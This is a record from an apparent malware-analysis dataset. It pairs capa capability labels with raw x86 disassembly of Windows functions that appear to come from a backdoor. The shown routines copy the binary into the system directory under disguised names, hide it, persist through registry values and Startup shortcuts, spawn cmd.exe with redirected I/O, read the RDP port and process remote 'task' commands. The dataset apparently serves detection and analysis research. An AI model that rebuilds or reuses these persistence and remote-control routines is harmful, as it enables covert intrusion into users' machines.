joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403560
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push dword [ebp + 8]
mov byte [ebp - 1], 0
call fcn.00402dd3
pop ecx
test al, al
je 0x403580
mov byte [ebp - 1], 1
jmp 0x4035be
cmp byte [ebp + 8], 0
push esi
mov esi, 0x40a350
jne 0x4035d4
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x4035bd
push 0
push 0
lea eax, [ebp - 1]
push eax
push 0x4034a3
push 4
push 1
lea eax, [ebp - 8]
push eax
push esi
mov dword [ebp - 8], str..exe
call fcn.004055ed
add esp, 0x20
pop esi
mov al, byte [ebp - 1]
leave
ret
lea eax, [ebp - 0x210]
push eax
call fcn.00404c6d
pop ecx
test al, al
jne 0x4035e9
lea eax, [ebp - 0x210]
push eax
push esi
call fcn.00404e85
pop ecx
pop ecx
test al, al
jne 0x4035c3
jmp 0x4035bd
mov byte [ebp - 1], 1
jmp 0x4035bd

Function at 0x4035ef
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x470
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x403763
add eax, eax
lea ecx, [ebp + eax - 0x21c]
mov dword [ebp - 0x10], ecx
lea ecx, [ebp + eax - 0x216]
mov dword [ebp - 0xc], ecx
lea edi, [ebp + eax - 0x21a]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x10]
xor eax, eax
mov word [ecx], ax
push str.__.exe
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x19
pop eax
call fcn.004024cb
add eax, 0x61
mov word [edi], ax
push 0x19
pop eax
call fcn.004024cb
mov ecx, dword [ebp - 0xc]
add eax, 0x61
mov word [ecx], ax
lea eax, [ebp - 0x46c]
push eax
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xffffffff
je 0x403632
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
xor esi, esi
push dword [esi + 0x40a238]
lea eax, [ebp - 0x440]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrIW]
test eax, eax
jne 0x403632
add esi, 4
cmp esi, 0xa8
jb 0x403695
lea eax, [ebp - 0x440]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
and dword [ebp - 8], 0
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.VERSION.dll_GetFileVersionInfoSizeW]
test eax, eax
je 0x403632
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.VERSION.dll_GetFileVersionInfoSizeW]
test eax, eax
je 0x40370a
push eax
lea eax, [ebp - 0x21c]
push eax
call fcn.00405874
pop ecx
pop ecx
mov esi, eax
jmp 0x40370c
xor esi, esi
test esi, esi
je 0x403632
mov ebx, dword [sym.imp.SHLWAPI.dll_StrStrIW]
push str.install
push esi
call ebx
test eax, eax
jne 0x403742
push str.setup
push esi
call ebx
test eax, eax
jne 0x403742
push str.update
push esi
call ebx
test eax, eax
jne 0x403742
xor bl, bl
jmp 0x403744
mov bl, 1
push esi
call fcn.004023f0
pop ecx
test bl, bl
jne 0x403632
lea eax, [ebp - 0x21c]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x403768
Capabilities:
Copy file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x680
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x224]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov ebx, eax
test ebx, ebx
je 0x403936
push dword [ebp + 8]
lea eax, [ebp - 0x224]
push eax
lea eax, [ebp - 0xc]
push 0x4078f8
push eax
mov byte [ebp - 5], 0
call fcn.00402b0d
add esp, 0x10
test eax, eax
je 0x403936
lea eax, [ebp - 0x474]
push eax
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xffffffff
je 0x4037d7
push eax
mov byte [ebp - 5], 1
call dword [sym.imp.KERNEL32.dll_FindClose]
push dword [ebp - 0xc]
call fcn.004023f0
cmp byte [ebp - 5], 0
pop ecx
je 0x403936
mov edi, 0xfffe
call fcn.00402307
mov dword [ebp - 0xc], eax
test eax, eax
je 0x403936
and dword [ebp - 0x10], 0
push 5
pop eax
call fcn.004024cb
add eax, 2
mov dword [ebp - 0x1c], eax
cmp eax, 6
ja 0x403803
push dword [ebp + 8]
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
lea eax, [ebp - 0x67c]
push str.___s
push eax
call esi
lea eax, [ebx + ebx]
lea ecx, [ebp + eax - 0x224]
mov dword [ebp - 0x18], ecx
lea ecx, [ebp + eax - 0x21e]
add esp, 0xc
mov dword [ebp - 0x14], ecx
lea edi, [ebp + eax - 0x222]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x18]
xor eax, eax
mov word [ecx], ax
lea eax, [ebp - 0x67c]
push eax
lea eax, [ebp - 0x224]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x19
pop eax
call fcn.004024cb
add eax, 0x61
mov word [edi], ax
push 0x19
pop eax
call fcn.004024cb
mov ecx, dword [ebp - 0x14]
add eax, 0x61
mov word [ecx], ax
lea eax, [ebp - 0x474]
push eax
lea eax, [ebp - 0x224]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xffffffff
je 0x403921
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
lea eax, [ebp - 0x448]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x448]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ebx, eax
push 0x19
pop eax
call fcn.004024cb
push dword [ebp + 8]
add eax, 0x61
movzx eax, ax
push eax
lea eax, [ebp + ebx*2 - 0x450]
push str._c_s
push eax
call esi
lea eax, [ebp - 0x448]
push eax
push 0x40a350
push str._s_s
push dword [ebp - 0xc]
call esi
add esp, 0x20
push 1
push dword [ebp - 0xc]
lea eax, [ebp - 0x224]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x403921
inc dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x1c]
jne 0x40384e
push dword [ebp - 0xc]
call fcn.004023f0
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40393b
Capabilities:
Copy file
Create process on windows
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x264
push esi
lea eax, [ebp - 0x264]
push edi
push eax
call fcn.004035ef
pop ecx
lea eax, [ebp - 0x264]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
push eax
push 0x40a350
lea eax, [ebp - 8]
push str._s_s
push eax
call fcn.00402b0d
add esp, 0x10
test eax, eax
je 0x403a3e
call fcn.00405e1a
mov edi, dword [ebp - 8]
push 0
push edi
push 0x41a568
call dword [sym.imp.KERNEL32.dll_CopyFileW]
lea eax, [ebp - 0x264]
push eax
call fcn.00405ba8
pop ecx
push 6
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov dword [ebp - 0x20], str..dll
mov dword [ebp - 0x1c], str..xml
mov dword [ebp - 0x18], str..cpl
mov dword [ebp - 0x14], str..vbs
mov dword [ebp - 0x10], str..tlb
mov dword [ebp - 0xc], str..ocx
xor esi, esi
push dword [ebp + esi*4 - 0x20]
call fcn.00403768
inc esi
pop ecx
cmp esi, 6
jb 0x4039d7
call fcn.00403452
cmp byte [ebp + 8], 0
push edi
je 0x4039fb
call fcn.00404d1a
pop ecx
jmp 0x403a37
call fcn.00404bc7
pop ecx
push 0x38
lea eax, [ebp - 0x58]
push 0
push eax
call sub.MSVCRT.dll_memset
and dword [ebp - 0x40], 0
add esp, 0xc
lea eax, [ebp - 0x5c]
push eax
mov dword [ebp - 0x5c], 0x3c
mov dword [ebp - 0x58], 0xc600
mov dword [ebp - 0x50], str.open
mov dword [ebp - 0x4c], edi
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
push edi
call fcn.004023f0
pop ecx
pop edi
pop esi
leave
ret

Function at 0x403a42
Capabilities:
Get common file path
Get program files directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x220
push ebx
push esi
xor ebx, ebx
push edi
mov esi, 0x40a350
cmp word [0x40a350], bx
jne 0x403af5
cmp byte [ebp + 8], bl
je 0x403aa7
cmp byte [0x40a34c], bl
je 0x403a7e
movzx eax, word [0x41a358]
push eax
push str._c:ProgramDataMicrosoft_
jmp 0x403a9b
push ebx
push 0x26
lea eax, [ebp - 0x21c]
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea eax, [ebp - 0x21c]
push eax
push str._sWindows_NT_
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
jmp 0x403abf
push esi
push ebx
push ebx
push 0x1a
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push str.Microsoft_
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
xor eax, eax
mov dword [ebp - 0x14], ebx
lea edi, [ebp - 0x10]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x14]
push eax
call fcn.00402ea3
push eax
call fcn.00402c6a
movzx eax, word [ebp - 0xe]
push eax
movzx eax, word [ebp - 0x10]
push eax
push dword [ebp - 0x14]
push str.v2.0_2.0.0.0___x_x_x
push ebx
push esi
call fcn.00402bfb
add esp, 0x20
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x403b5f
Capabilities:
Create a process with modified i/o handles and window
Create process on windows
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push ebx
push esi
push edi
push 0x40
mov esi, eax
xor ebx, ebx
lea eax, [ebp - 0x60]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x41a358
mov dword [ebp - 0x64], 0x44
mov dword [ebp - 0x38], 0x101
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x2c], esi
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x64]
push eax
push ebx
push ebx
mov esi, str.cmd.exe
lea edi, [ebp - 0x20]
movsd dword es:[edi], dword [esi]
push ebx
push 1
movsd dword es:[edi], dword [esi]
push ebx
push ebx
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x20]
push eax
push ebx
movsd dword es:[edi], dword [esi]
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x403be2
push 0xffffffffffffffff
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x10]
call esi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x403d9b
Capabilities:
Create thread
Query or enumerate registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040213f
mov dword [ebp - 4], eax
test eax, eax
je 0x403f0b
mov esi, str.type
push esi
push eax
mov ebx, str.task_result
call fcn.004020bc
call fcn.00402ea3
mov edi, 0x407a38
push edi
push dword [ebp - 4]
mov ebx, eax
call fcn.004020bc
push edi
mov edi, dword [ebp + 8]
mov ecx, edi
call fcn.00401f2d
pop ecx
mov ecx, eax
call section..text
cdq
push edx
push eax
push str.task_id
push dword [ebp - 4]
call fcn.0040208a
push str.port1
mov ecx, edi
call fcn.00401f2d
pop ecx
mov ecx, eax
call section..text
push esi
mov ecx, edi
movzx ebx, ax
call fcn.00401f2d
pop ecx
mov ecx, eax
call section..text
mov dword [ebp - 0x14], eax
sub eax, 0x64
je 0x403ec0
dec eax
je 0x403ebc
dec eax
je 0x403e6b
dec eax
je 0x403ebc
dec eax
je 0x403e64
dec eax
jne 0x403f0b
push ebx
push dword [ebp + 0xc]
push edi
call fcn.00403032
add esp, 0xc
test al, al
je 0x403f0b
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 1
call fcn.0040333d
lea eax, [ebp - 8]
push eax
push 0x20119
xor esi, esi
push esi
push str.SYSTEMCurrentControlSetControlTerminal_ServerWinStationsRDP_Tcp
push closesocket
mov dword [ebp - 0xc], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x403eb6
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
push esi
push esi
push str.PortNumber
push dword [ebp - 8]
mov dword [ebp - 0x10], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
movzx esi, word [ebp - 0xc]
jmp 0x403ed7
xor esi, esi
jmp 0x403ed7
push str.port2
mov ecx, edi
call fcn.00401f2d
pop ecx
mov ecx, eax
call section..text
movzx esi, ax
push 0xc
pop edi
call fcn.00402307
mov ecx, dword [ebp + 0xc]
mov dword [eax + 4], ecx
mov ecx, dword [ebp - 0x14]
mov dword [eax + 8], ecx
xor ecx, ecx
push ecx
push ecx
push eax
push 0x403cb3
push ecx
push ecx
mov word [eax], bx
mov word [eax + 2], si
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40411d
Capabilities:
Check mutex on windows
Extract resource via kernel32 functions
Get file size
Initialize winsock library
Read file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xd9c
push ebx
push esi
push edi
lea eax, [esp + 0x1a8]
push eax
push dword [ebp + 8]
call fcn.0040300b
pop ecx
pop ecx
lea eax, [esp + 0x1a8]
push eax
xor ebx, ebx
push ebx
push 0x42a794
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
test eax, eax
je 0x404328
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x404328
call fcn.00405e80
mov esi, eax
cmp esi, ebx
je 0x40418b
push esi
call fcn.00402909
pop ecx
push esi
mov dword [0x42a56c], eax
call fcn.004023f0
pop ecx
push ebx
lea eax, [esp + 0x5ac]
push eax
push 0x400
push str..common.dat
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
push 4
pop edi
mov dword [0x41a560], 1
call fcn.00402307
mov ecx, dword [0x41a560]
mov dword [0x41a564], eax
cmp ecx, ebx
jbe 0x4041d6
mov edx, str.wRBns
sub edx, eax
mov esi, dword [edx + eax]
mov dword [eax], esi
add eax, edi
dec ecx
jne 0x4041cc
push ebx
push ebx
push 3
push ebx
push ebx
push closesocket
lea eax, [esp + 0x5c0]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [esp + 0x10], eax
cmp eax, 0xffffffff
je 0x40427c
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
jmp 0x40426e
push ebx
lea eax, [esp + 0x18]
push eax
push 4
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x20]
mov dword [esp + 0x20], ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x41a560]
sub esi, dword [esp + 0x14]
mov ecx, dword [0x41a564]
xor edx, edx
cmp eax, ebx
jbe 0x404246
mov edi, dword [ecx + edx*4]
cmp edi, dword [esp + 0xc]
je 0x40426e
inc edx
cmp edx, eax
jb 0x404238
lea eax, [eax*4 + 4]
push eax
push ecx
call fcn.00402365
mov edx, dword [0x41a560]
inc dword [0x41a560]
pop ecx
pop ecx
mov ecx, dword [esp + 0xc]
mov dword [0x41a564], eax
mov dword [eax + edx*4], ecx
cmp esi, ebx
jne 0x404208
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 2
push ebx
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
cmp esi, ebx
je 0x4042dd
push 0x10
push 1
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
cmp eax, ebx
je 0x4042d6
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, ebx
je 0x4042d6
mov cx, word [eax + 0x32]
mov word [0x41a350], cx
mov cx, word [eax + 0x30]
mov word [0x41a352], cx
mov cx, word [eax + 0x36]
mov word [0x41a354], cx
mov ax, word [eax + 0x34]
mov word [0x41a356], ax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea eax, [esp + 0x18]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
xor esi, esi
cmp dword [0x41a560], ebx
jbe 0x40431f
mov eax, dword [0x41a564]
push dword [eax + esi*4]
call fcn.00403f13
pop ecx
test al, al
jne 0x40431f
push 0x3e8
call edi
inc esi
cmp esi, dword [0x41a560]
jb 0x4042fd
push 0xea60
call edi
jmp 0x4042f3
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4046c0
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x25c
and dword [esp + 4], 0
push ebx
push esi
push edi
mov esi, 0x42a7a0
push esi
lea eax, [esp + 0x14]
push str._s.lnk
push eax
mov byte [esp + 0x1b], 0
call fcn.00402b0d
add esp, 0xc
test eax, eax
je 0x40478b
mov edi, 0xfffe
call fcn.00402307
mov ebx, eax
test ebx, ebx
je 0x404781
call fcn.00402307
mov edi, eax
test edi, edi
je 0x40477a
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [esp + 0x14], eax
cmp eax, 0xffffffff
je 0x404773
lea eax, [esp + 0x44]
push eax
push esi
push str._s_s
push ebx
call dword [sym.imp.USER32.dll_wsprintfW]
push edi
push dword [ebp + 8]
push ebx
call fcn.00404611
add esp, 0x1c
test al, al
jne 0x404764
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x40472c
jmp 0x404769
mov byte [esp + 0xf], 1
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_FindClose]
push edi
call fcn.004023f0
pop ecx
push ebx
call fcn.004023f0
pop ecx
push dword [esp + 0x10]
call fcn.004023f0
pop ecx
mov al, byte [esp + 0xf]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4048ef
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x25c
and dword [ebp - 4], 0
push ebx
push esi
push edi
mov ebx, 0x42a7a0
push ebx
lea eax, [ebp - 4]
push str._s.lnk
push eax
call fcn.00402b0d
add esp, 0xc
cmp dword [ebp - 4], 0
je 0x4049b3
mov edi, 0xfffe
call fcn.00402307
mov esi, eax
test esi, esi
je 0x4049aa
call fcn.00402307
mov edi, eax
test edi, edi
je 0x4049a3
lea eax, [ebp - 0x258]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
je 0x40499c
lea eax, [ebp - 0x22c]
push eax
push ebx
push str._s_s
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
push edi
push 0x40a008
push esi
call fcn.00404611
add esp, 0x1c
test al, al
je 0x40497f
call fcn.0040582d
lea eax, [ebp - 0x258]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x404953
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindClose]
push edi
call fcn.004023f0
pop ecx
push esi
call fcn.004023f0
pop ecx
push dword [ebp - 4]
call fcn.004023f0
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4049b8
Capabilities:
Delete registry value
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
push ebx
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegEnumValueW]
xor ebx, ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x218]
push eax
push ebx
push dword [ebp + 8]
mov byte [ebp - 2], bl
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], 0x104
call esi
cmp eax, 0x103
je 0x404aab
push edi
lea eax, [ebp - 0x10]
push eax
push ebx
push ebx
push ebx
lea eax, [ebp - 0x218]
push eax
push dword [ebp + 8]
mov byte [ebp - 1], bl
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x404a7e
mov edi, dword [ebp - 0x10]
call fcn.00402307
mov edi, eax
cmp edi, ebx
je 0x404a7e
lea eax, [ebp - 0x10]
push eax
push edi
push ebx
push ebx
lea eax, [ebp - 0x218]
push eax
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x404a59
push edi
call dword [sym.imp.SHLWAPI.dll_PathUnquoteSpacesW]
push dword [ebp + 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x404a59
mov byte [ebp - 1], 1
push edi
call fcn.004023f0
pop ecx
cmp byte [ebp - 1], bl
je 0x404a7e
mov byte [ebp - 2], 1
cmp byte [ebp + 0x10], bl
je 0x404aaa
lea eax, [ebp - 0x218]
push eax
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
inc dword [ebp - 0xc]
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x218]
push eax
push dword [ebp - 0xc]
mov dword [ebp - 8], 0x104
push dword [ebp + 8]
call esi
cmp eax, 0x103
jne 0x4049f9
pop edi
mov al, byte [ebp - 2]
pop esi
pop ebx
leave
ret

Function at 0x404ab2
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push esi
push dword [ebp + 8]
lea ebx, [ebp - 0x210]
call fcn.0040591b
push dword [ebp + 8]
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push str.__s_
push eax
call fcn.00402b0d
mov esi, eax
add esp, 0x10
add esi, esi
je 0x404b50
xor ebx, ebx
lea eax, [ebp - 8]
push eax
push 0x2011f
push 0
push dword [ebx + 0x40a210]
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x404b3f
push eax
push dword [ebp - 4]
push dword [ebp - 8]
call fcn.004049b8
add esp, 0xc
test al, al
jne 0x404b36
push esi
push dword [ebp - 4]
lea eax, [ebp - 0x210]
push 1
push 0
push eax
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
add ebx, 4
cmp ebx, 8
jb 0x404aeb
push dword [ebp - 4]
call fcn.004023f0
pop ecx
pop esi
pop ebx
leave
ret
Function at 0x404bc7
Capabilities:
Create shortcut via ishelllink
Get common file path

Disassembly:
push 0x228
push 0x4081c0
call fcn.00406030
mov esi, ecx
push esi
call fcn.004046c0
pop ecx
test al, al
jne 0x4048e9
and dword [ebp - 0x1c], 0
lea eax, [ebp - 0x1c]
push eax
push 0x4072d8
push 1
push 0
push 0x4072e8
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x4048e9
push esi
lea ebx, [ebp - 0x238]
call fcn.0040591b
pop ecx
mov edi, 0xfffe
call fcn.00402307
mov edi, eax
mov dword [ebp - 0x2c], edi
xor ebx, ebx
cmp edi, ebx
je 0x4048e0
push esi
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
sub eax, esi
push eax
push esi
push edi
call sub.MSVCRT.dll_memcpy
lea eax, [ebp - 0x238]
push eax
push 0x42a7a0
push str._s_s.lnk
lea eax, [ebp - 0x28]
push eax
call fcn.00402b0d
add esp, 0x1c
test eax, eax
je 0x4048d7
lea eax, [ebp - 0x30]
push eax
push esi
call dword [sym.imp.VERSION.dll_GetFileVersionInfoSizeW]
cmp eax, ebx
je 0x404853
push eax
push esi
call fcn.00405874
pop ecx
pop ecx
mov dword [ebp - 0x20], eax
jmp 0x404856
mov dword [ebp - 0x20], ebx
mov dword [ebp - 4], ebx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
push esi
push eax
call dword [ecx + 0x50]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
push edi
push eax
call dword [ecx + 0x24]
cmp dword [ebp - 0x20], ebx
je 0x40487e
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
push dword [ebp - 0x20]
push eax
call dword [ecx + 0x1c]
mov dword [ebp - 0x24], ebx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
lea edx, [ebp - 0x24]
push edx
push 0x4072f8
push eax
call dword [ecx]
test eax, eax
js 0x4048ad
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
push 1
push dword [ebp - 0x28]
push eax
call dword [ecx + 0x18]
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
or dword [ebp - 4], 0xffffffff
jmp 0x4048c0
cmp dword [ebp - 0x20], ebx
je 0x4048ce
push dword [ebp - 0x20]
call fcn.004023f0
pop ecx
push dword [ebp - 0x28]
call fcn.004023f0
pop ecx
push dword [ebp - 0x2c]
call fcn.004023f0
pop ecx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
call fcn.0040606b
ret
xor eax, eax
cmp word [0x42a7a0], ax
jne 0x404be5
push 0x42a7a0
push eax
push eax
push 0x8007
push eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push dword [esp + 4]
call fcn.00404ab2
pop ecx
mov ecx, dword [esp + 4]
jmp 0x404796